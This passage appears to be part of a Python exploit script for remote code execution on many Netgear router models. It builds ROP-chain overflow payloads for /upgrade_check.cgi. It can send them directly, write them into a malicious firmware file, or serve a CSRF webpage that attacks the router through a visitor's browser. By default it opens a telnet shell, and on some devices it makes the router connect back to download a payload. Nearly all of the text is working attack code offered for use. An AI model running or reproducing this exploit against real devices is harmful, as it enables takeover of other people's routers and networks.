elif args.model == "WGR614V9" or args.model == "WGR614V10":
data += "B" * 0x4# s0
data += "C" * 0x4# s1
data += "D" * 0x4# s2
data += "E" * 0x4# s3
data += "F" * 0x4#
data += rop_gadget # ra
data += "G" * 0x30 #
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif args.model == "DGN2200":
data += "\x00" * 4# s0
data += rop_gadget[1] # s1
data += "\x00" * 4# s2
data += "\x00" * 4# s3
data += "\x00" * 4# s4
data += "\x00" * 4# s5
data += "\x00" * 4# s6
data += rop_gadget[0] # ra
data += "B" * 0x1B9 #
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000# Pad out the payload (it needs to be at least a certain size)
elif args.model == "DGN2200V4":
data += "A" * 4 # padding
data += "\x00" * 4# s0 (must be 0 so the call to system doesn't change t9)
data += "B" * 4 # s1
data += "C" * 4 # s2
data += "D" * 4 # s3
data += rop_gadget[0] # ra
data += "E" * 0xA0#
data += "F" * 4 # s0
data += rop_gadget[1] # ra
data += "G" * 0x19#
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000# Pad out the payload (it needs to be at least a certain size)
elif args.model == "WNR3500LV2":
data += "\x00" * 4 # s0
data += "B" * 0x4# s1
data += "C" * 0x4# s2
data += "D" * 0x4# s3
data += "E" * 0x4# s4
data += "F" * 0x4# s5
data += "G" * 0x4# s6
data += "H" * 0x4# s7
data += "I" * 0x4# fp
data += rop_gadget[0] # ra
data += "J" * 0x10 # Padding
data += "K" * 0x4# gp
data += "L" * 0x8C # Padding
data += "M" * 0x4# s0
data += "N" * 0x4# s1
data += rop_gadget[1] # ra
data += "O" * 0x4# Padding
if args.version == "1.0.0.10":
# Version 1.0.0.10 uses a different gadget then the rest
data += "P" * 0x19 # Padding
else:
data += "P" * 0x80 # Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif args.model == "WNDR3700V3":
if args.version == "1.0.0.18":
# Version 1.0.0.18 uses sp based frames, so it's a little easier to ROP to system
data += "\x00" * 4# s0
data += "B" * 0x4 # s1
data += "C" * 0x4 # s2
data += "D" * 0x4 # s3
data += "E" * 0x4 # s4
data += "F" * 0x4 # s5
data += "G" * 0x4 # s6
data += rop_gadget[0] # ra
data += "H" * 0x10# Padding
data += "I" * 0x4 # gp
data += "J" * 0x104 # Padding
data += "K" * 0x4 # s0
data += rop_gadget[1] # ra
data += "L" * 0x19 # Padding
else:
# The other versions use fp frames and we overflow fp, so we have to fix it
# before we can set a0 to the stack
data += "B" * 0x4 # Padding
data += "C" * 0x4 # fp
data += rop_gadget[1] # ra
data += "D" * 0x10# Padding
data += rop_gadget[0] # gp
data += "E" * 0x8 # Padding
data += rop_gadget[2] # ra
data += "F" * 0x25# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif args.model == "WN3000RP":
# The other versions are done up above with other similar firmwares
data += "B" * 0x4 # s0
data += "C" * 0x4 # s1
data += "D" * 0x4 # s2
data += "\x00" * 0x4# s3
data += "E" * 0x4 # s4
data += "F" * 0x4 # s5
data += "G" * 0x4 # s6
data += rop_gadget[0] # ra
data += "H" * 0x28# Padding
data += "I" * 0x4 # gp
data += "J" * 0x104 # Padding
data += "K" * 0x4 # s0
data += "L" * 0x4 # s1
data += "M" * 0x4 # s2
data += "N" * 0x4 # s3
data += "O" * 0x4 # s4
data += rop_gadget[1] # ra
data += "P" * 0x19# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif args.model == "WNR2000V2":
# The other versions are done up above with other similar firmwares
data += "B" * 0x4# s0
data += "C" * 0x4# s1
data += "D" * 0x4# s2
data += "E" * 0x4# s3
data += "F" * 0x4# s4
data += "G" * 0x4# s5
data += "H" * 0x4# s6
data += rop_gadget # ra
data += "I" * 0x78 # Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif args.model == "WNDR3400":
# The other versions are done up above with other similar firmwares
data += "\x00" * 4# s0
data += "B" * 0x4 # s1
data += "C" * 0x4 # s2
data += "D" * 0x4 # s3
data += "E" * 0x4 # s4
data += "F" * 0x4 # s5
data += "G" * 0x4 # s6
data += rop_gadget[0] # ra
data += "H" * 0x10# Padding
data += "I" * 0x4 # gp
data += "J" * 0x104 # Padding
data += "K" * 0x4 # s0
data += rop_gadget[1] # ra
data += "L" * 0x19# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif args.model == "WNR3500L":
# The other versions are done up above with other similar firmwares
data += "B" * 0x4 # s0
data += "C" * 0x4 # s1
data += "D" * 0x4 # s2
data += "E" * 0x4 # s3
data += "F" * 0x4 # s4
data += "G" * 0x4 # s5
data += "H" * 0x4 # s6
data += "I" * 0x4 # s7
data += rop_gadget[1] # ra
data += "J" * 4 # Padding
data += "K" * 0x10# Padding
data += rop_gadget[0] # gp
data += "L" * 0x8 # Padding
data += rop_gadget[2] # ra
data += "M" * 0x40# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif args.model == "WNDR4000":
if args.version in ["1.0.0.66", "1.0.0.82"]:
# These versions use sp based frames, so it's a little easier to ROP to system
data += "\x00" * 4# s0
data += "B" * 0x4 # s1
data += "C" * 0x4 # s2
data += "D" * 0x4 # s3
data += "E" * 0x4 # s4
data += "F" * 0x4 # s5
data += "G" * 0x4 # s6
data += rop_gadget[0] # ra
data += "H" * 0x10# Padding
data += "I" * 0x4 # gp
data += "J" * 0x104 # Padding
data += "K" * 0x4 # s0
data += rop_gadget[1] # ra
data += "L" * 0x19 # Padding
else:
# The other versions use fp frames and we overflow fp, so we have to fix it
# before we can set a0 to the stack
data += "B" * 0x4 # Padding
data += "C" * 0x4 # fp
data += rop_gadget[1] # ra
data += "D" * 0x10# Padding
data += rop_gadget[0] # gp
data += "E" * 0x8 # Padding
data += rop_gadget[2] # ra
data += "F" * 0x25# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif args.model in ["DGN2200M", "DGND3700", "MVBR1210C", "MBR1200", "MBR1515", "MBR1516", "MBRN3000"]:
data += "\x00" * 4# s0
data += "B" * 0x4 # s1
data += "C" * 0x4 # s2
data += "D" * 0x4 # s3
data += "E" * 0x4 # s4
data += "F" * 0x4 # s5
data += "G" * 0x4 # s6
data += rop_gadget[0] # ra
data += "H" * 0x10# Padding
data += "I" * 0x4 # gp
data += "J" * 0x6C# Padding
data += "K" * 0x4 # s0
data += rop_gadget[1] # ra
data += "L" * 0x19# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000# Pad out the payload (it needs to be at least a certain size)
elif args.model == "D6300":
data += "B" * 0x4 # Padding
data += "\x00" * 0x4# s0
data += "D" * 0x4 # s1
data += "E" * 0x4 # s2
data += "F" * 0x4 # s3
data += rop_gadget[0] # ra
data += "G" * 0xE4# Padding
data += "H" * 0x4 # s0
data += "I" * 0x4 # s1
data += "J" * 0x4 # s2
data += "K" * 0x4 # s3
data += rop_gadget[1] # ra
data += "L" * 0x19# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000# Pad out the payload (it needs to be at least a certain size)
elif args.model in ["D6220", "D6400", "D7000V2"]:
data += "B" * 0x4 # s0
data += "C" * 0x4 # s1
data += "D" * 0x4 # s2
data += rop_gadget# ra
data += "E" * 0x18# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000# Pad out the payload (it needs to be at least a certain size)
elif args.model in ["LG2200D", "R4500", "R6300", "WNDR3400V2", "WNDR3400V3", "WNDR4500", "WNDR4500V2"]:
data += "B" * 0x4# s0
data += "C" * 0x4# s1
data += "D" * 0x4# s2
data += "E" * 0x4# s3
data += "F" * 0x4# s4
data += "G" * 0x4# s5
data += "H" * 0x4# s6
data += rop_gadget # ra
data += "I" * 0x78 # Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif args.model in ["R6200", "WN3500RP"]:
data += "\x00" * 4# s0
data += "B" * 0x4 # s1
data += "C" * 0x4 # s2
data += "D" * 0x4 # s3
data += "E" * 0x4 # s4
data += "F" * 0x4 # s5
data += "G" * 0x4 # s6
data += rop_gadget[0] # ra
data += "H" * 0x10# Padding
data += "I" * 0x4 # gp
data += "J" * 0x8C# Padding
data += "K" * 0x4 # s0
data += "L" * 0x4 # s1
data += rop_gadget[1] # ra
data += "M" * 0x4 # Padding
data += "N" * 0x19# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif args.model == "WNR3500V2":
# The other versions are done up above with other similar firmwares
data += "B" * 0x4# s0
data += "C" * 0x4# s1
data += "D" * 0x4# s2
data += "E" * 0x4# s3
data += "F" * 0x4# s4
data += "G" * 0x4# s5
data += "H" * 0x4# s6
data += rop_gadget # ra
data += "I" * 0xAC # Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000 # Pad out the payload (it needs to be at least a certain size)
elif args.model == "WNCE3001":
data += "B" * 0x4# s0
data += "C" * 0x4# s1
data += "D" * 0x4# s2
data += "E" * 0x4# s3
data += "F" * 0x4# s4
data += rop_gadget # ra
data += "I" * 0x18 # Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x400 # Pad out the payload (it needs to be at least a certain size)
elif args.model in ["EX3700", "EX3800", "EX3920", "EX6000", "EX6100", "EX6120", "EX6130", "EX6920"]:
# The devices use fp frames and we overflow fp, so we have to fix it before we can
# set a0 to the stack
data += "B" * 0x8 # Padding
data += "C" * 0x4 # fp
data += rop_gadget[1] # ra
data += "D" * 0x10# Padding
data += rop_gadget[0] # gp
data += "E" * 0x8 # Padding
data += rop_gadget[2] # ra
data += "F" * 0x21# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x1000# Pad out the payload (it needs to be at least a certain size)
elif args.model == "EX6150":
data += rop_gadget[1] # ra
data += "B" * 0x10# Padding
data += rop_gadget[0] # gp
data += "C" * 0x8 # Padding
data += rop_gadget[2] # ra
data += "D" * 0x25# Padding
data += args.command + "\x00" # Add the command and then NULL-terminate it
data += "Z" * 0x400 # Pad out the payload (it needs to be at least a certain size)
else:
print("Unknown model: {}".format(args.model))
sys.exit(1)
# Some of the different models/versions use different names for the argument
argument_name = "mtenFWUpload"
if args.model in argument_names and args.version in argument_names[args.model]:
argument_name = argument_names[args.model][args.version]
if args.file:
# Write the payload to a file
fd = open(args.ip, "wb")
fd.write(data)
fd.close()
elif args.csrf:
# Start a web server to serve a webpage that will send CSRF payload to exploit the router
protocol = "http"
port = ""
if args.https:
protocol = "https"
if (not args.https and args.port != 80) or (args.https and args.port != 443):
port = ":{}".format(args.port)
base_url = "{}://{}{}".format(protocol, args.ip, port)
# Prepend the necessary fields (they don't actually parse the HTTP request, just search for strings)
data = 'Content-Disposition: AAAA\r\nContent-Length: {}\r\nContent-Type: application/octet-stream\r\nname="{}"\r\n\r\n{}'.format(len(data), argument_name, data)
# Create the CSRF webpage
webpage = "<html><body><script>"
webpage += 'var data = new ArrayBuffer({})\n;'.format(len(data))
webpage += 'var lInt8View = new Uint8Array(data);\n'
for i in range(len(data)):
webpage += 'lInt8View[{}]={};\n'.format(i,ord(data[i]))
webpage += 'var xhr = new XMLHttpRequest;\n'
webpage += 'xhr.open("POST", "{}/upgrade_check.cgi", false);\n'.format(base_url)
webpage += 'xhr.send(data);\n'
webpage += "</script></body></html>"
CSRFRequestHandler.page = webpage
SocketServer.TCPServer.allow_reuse_address = True
server = SocketServer.TCPServer(("", 8000), CSRFRequestHandler)
print("CSRF Web Server started on port 8000 for {} Version {} exploit".format(args.model, args.version))
server.serve_forever()
else:
# Send the payload
payload = ''
payload += 'POST /upgrade_check.cgi HTTP/1.1\r\n'
payload += 'Host: {}\r\n'.format(args.ip)
payload += 'Content-Disposition: AAAA\r\n'
payload += 'Content-Length: {}\r\n'.format(len(data))
payload += 'Content-Type: application/octet-stream\r\n'
payload += 'name="{}"\r\n'.format(argument_name)
payload += '\r\n'
payload += data
send(args.ip, args.port, args.https, payload)
if USING_DEFAULT_COMMAND and args.model in ftp_devices:
time.sleep(20)
stop_ftp()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Run the exploit')
parser.add_argument('ip', type=str, default=None, help='The IP address of the webserver to exploit')
parser.add_argument('-command', type=str, default="START_TELNET", help='The command to run; default is to start telnet on port 8888 (or 3333 if 8888 is already used)')
parser.add_argument('-csrf', required=False, action='store_true', help='Run a web server that sends the exploit as a CSRF payload')
parser.add_argument('-https', required=False, action='store_true', help='Run the exploit against a webserver running HTTPS')
parser.add_argument('-file', required=False, action='store_true', help='Write the exploit firmware to a file (which typically'
+ ' has a file extension .chk). Use the ip argument to specify the filename.')
parser.add_argument('-port', type=int, default=80, help='The port of the webserver to exploit')
parser.add_argument('-model', type=str, default="", help='The model of the webserver to exploit (default autodetect).'
+ ' Supported models are: {}'.format(", ".join(address_info.keys())))
parser.add_argument('-version', type=str, default="", help='The version of the webserver to exploit (default autodetect).'
+ ' Supported versions are: {}'.format("; ".join(["{}: {}".format(x, ", ".join(address_info[x])) for x in address_info.keys()])))
parser.add_argument('-local_ip', type=str, default="", help='The IP address the exploited host should connect back to download a'
+ ' payload, only used on the devices: {} (default autodetect).'.format(", ".join(ftp_devices.keys())))
parser.add_argument('-version-only', required=False, action='store_true', help="Only detect the model/version of a device, don't exploit")
args = parser.parse_args()
args.model = args.model.upper()
main(args)
体验盒子
